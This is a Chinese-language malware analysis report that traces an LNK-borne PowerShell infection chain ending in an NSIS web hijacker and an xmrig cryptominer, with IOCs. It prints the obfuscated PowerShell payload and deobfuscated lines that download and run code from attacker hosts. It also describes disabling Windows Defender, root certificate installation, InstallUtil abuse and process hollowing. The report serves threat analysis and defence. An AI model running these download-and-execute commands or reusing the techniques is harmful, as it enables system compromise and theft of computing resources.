本文作者:病毒分析小组全体成员
样本概述
本次样本为 Lnk 文件,内嵌了一个 Powershell 脚本,用于后续的释放和攻击……
md5 为 13d3d78aa4d28311e8e57ca01d34d11f
,VT 扫描结果如下:
行为预览
详细分析
对 Lnk 文件使用 010editor
解析并从命令行提取出有效 payload 如下,根据经验判断为 Invoke-Obfuscation
混淆后的代码。
"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe"-NoPr-WINd1-eXEcByP -jOin('73k69<88Z32~40~78~101m119<45_79P98Z106P101Z99m116@32k83Z121E115P116~101P109l46l78~101Z116l46_87_101m98@67@108k105Z101@110<116P41~46k68m111~119E110m108k111l97Z100k83<116@114_105~110_103P40E39<104m116P116P112l58k47~47m122m118_100P46<117l115m47@49<39l41'.spLIt('<ZPEmk_l@~')|%{([InT]$_-as[cHAr])})|&($sheLLid[1] $sHelLid[13] 'X')
因为脚本病毒自身的局限性,灵活运用重定向即可反混淆,解密后代码只有一行
代码语言:javascript复制IEX (New-ObjectSystem.Net.WebClient).DownloadString('http://zvd.us/1')
访问 http://zvd.us/1
会重定向到 http://qgb.us/view/raw/55f809b0
,可见为混淆后的 ps 代码
去除头部 ” &( $VERBOSEpREFeRENCe.tOSTRInG()[1,3] 'X'-JOIn'')”
,将脚本输出重定向,解开第一层混淆,发现仍存在混淆,
去除 1.ps1
头部 ” " $(sV 'OFS' '')" [STrINg]”
以及尾部 ” " $(sV 'OFS' '')" [STrINg]”
,继续重定向输出,可见明文脚本,脚本头部代码为弹框提示视频错误从而迷惑受害者
主要功能代码为下载 http://zvd.us/2
到 "$env:temptp.bat"
并调用 cmd 执行
$wc=new-object system.net.webclient;$wc.downloadfile("http://zvd.us/2","$env:temptp.bat")
UKCgo -BinPath C:WindowsSystem32cmd.exe -Args "/c $env:temptp.bat"
http://zvd.us/2
指示去下载 http://zvd.us/3
http://zvd.us/3
重定向到 http://qgb.us/view/raw/a3e7990e
,显示为混淆的 ps 代码
解密后发现脚本首先通过注册表操作禁用掉 Windows Dedenfer,SmartScreen 等系统自带的安全功能
之后下载并执行几个文件,下面会逐一分析
脚本中下载链接与实际下载链接对应如下:
代码语言:javascript复制"http://tracker.awesomepush.online/5bc63d002c822c0001ff45fd","$env:tempwinstat.exe")
https://s3.amazonaws.com/360ossecure/simple/Alpha/installer.exe
"http://zrkls.pw/geo/geo.php","$env:temppost2.exe")
http://zrkls.pw/files/svchost.exe
" http://zrkls.pw/p/geoip.php ","$env:temppost3.exe")
http://zrkls.pw/p/p2.exe
"http://zrkls.pw/geo/geo.php","$env:temppost2.exe")
http://107.172.196.165:7217/mn.exe
installer.exe 分析
该样本是一个 NSIS 安装包,主要用于网页劫持,用 7-Zip 解压之后,发现存在一个 Bat 脚本文件,pem 证书文件,用于劫持的 Hosts 文件
pem 证书文件如下:
Bat 命令如下:
代码语言:javascript复制certutil-addstore"Root"p.pem
将 Hosts 文件与系统的 Hosts 进行替换,内容如下:
NSIS 脚本文件中,将释放出来的 AlphaPassive.msi 添加启动项,用于网页的劫持
在系统中如下
MN.exe 分析
svchost.exe,mn.exe,p2.exe 均为混淆后的 C# 样本,使用 de4dot 即可去混淆,去混淆后发现均为同一种样本,故选取其中一个 mn.exe 分析,使用 dnSpy 打开去混淆后的程序,查看引用,可见存在 System.Configuration.Install,怀疑为利用 C# 自带的 InstallUtil.exe 来加载恶意代码,之后会结合样本解释此技术
当 C# 程序中存在 System.Configuration.Install.Installer 类的派生类时,如果通过 InstallUtil 程序启动,则程序不会从正常的入口点执行,而是从派生类中的 Uninstall 或 Install 类执行,我们在虚拟机中利用 procexp 就可以观察到样本通过 InstallUtil.exe 重新加载自身的行为:
程序正常入口点会调用 Class6.Form0_0.Run()
函数,从而调用 OnCreateMainForm()
函数
OnCreateMainForm()
函数通过 Activator.CreateInstance()
的方式实例化 GForm0,从而调用 GForm0 的构造函数
之后从资源节读取脚本,替换程序路径并执行
作用为通过 installutil.exe 重新启动程序,之后程序将会从 Uninstall 函数开始执行
脚本内容如下:
Uninstall 函数如下:
如果想要调试 Uninstall 函数,可以通过 patch 程序的方法将代码加到入口点,dnSpy 中 patch 程序后需要在文件菜单中选择全部保存才能正常调试
样本从 Uninstall 执行后,会从资源中的图片提取出另一个恶意程序并在内存中执行
执行后,首先进行反虚拟机,反沙箱,反调试操作
之后添加计划任务作为持久化措施
最后通过 process hollowing 的方式在 RegAsm.exe 进程内执行恶意代码,dump 下分析为开源的门罗币矿机 xmrig
github 的地址:
https://github.com/xmrig/xmrig
矿池地址
xmr-us-east1.nanopool.org:14444
钱包地址
428X5bXdQWu1SroTn6vR5nPPoHFDUkntmdppV267SJH2dXw3mMttKGQ8Tt49BPHbt2PXyEKdit5dx499AdkvGMgkUSLCc8j
13 个门罗币……
根据开源威胁情报可见服务器上还存在其他恶意代码。
http[:]//zrkls[.]]pw/http[:]//zrkls[.]pw/azhttp[:]//zrkls[.]pw/az/az[.]exehttp[:]//zrkls[.]pw/az/index[.]phphttp[:]//zrkls[.]pw/files/svchost[.]exehttp[:]//zrkls[.]pw/geo/geo[.]phphttp[:]//zrkls[.]pw/geo/geo[.]php,Patternhttp[:]//zrkls[.]pw/geo/nullhttp[:]//zrkls[.]pw/phttp[:]//zrkls[.]pw/p/geoip[.]phphttp[:]//zrkls[.]pw/p/nullhttp[:]//zrkls[.]pw/p/p2[.]exehttp[:]//zrkls[.]pw/tasks[.]phphttp[:]//zrkls[.]pw/upload/pd[.]exehttp[:]//zrkls[.]pw/upload/smk[.]exehttp[:]//zrkls[.]pw/upload/svchost[.]exehttp[:]//zrkls[.]pw/upload/win2[.]exehttp[:]//zrkls[.]pw/upload/wincircuit[.]exe
IOC
域名:
http[:]//zvd[.]ushttp[:]//qgb[.]ushttp[:]//tracker[.]awesomepush[.]onlinehttps[:]//s3[.]amazonaws[.]comhttp[:]//zrkls[.]pw
主要样本的SHA1:
d16d74d6c97d4704186bfcaa949c0f2f67ef30a28b511650e60229d6da9d6712a08d01514ce374a31d651924cbca82c12b4521cb33af79ef7af857b9